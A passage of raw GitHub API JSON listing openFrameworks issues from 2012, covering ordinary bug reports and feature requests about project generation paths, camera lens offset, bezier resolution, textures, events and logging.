Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Implement deprecation mechanism","labels":[],"closed_at":null,"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269429,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","assignee":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269359,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","assignee":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4231092,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T17:34:24Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","assignee":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"closed_at":null,"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4230131,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch"}},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","assignee":null,"title":"Bezier Shaders & Vector openGL rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4207350,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4206982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4174070,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4132608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","assignee":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4117762,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","assignee":null,"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4108582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","assignee":null,"title":"ofToHex(string) is wrong for non-ascii input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","id":1640543,"avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4104336,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","assignee":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4081188,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","assignee":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063456,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","assignee":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","assignee":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063366,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","assignee":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4032047,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:46:40Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","assignee":null,"title":"shorten + simplify ofLog output","labels":[],"closed_at":null,"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023525,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch"}},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return 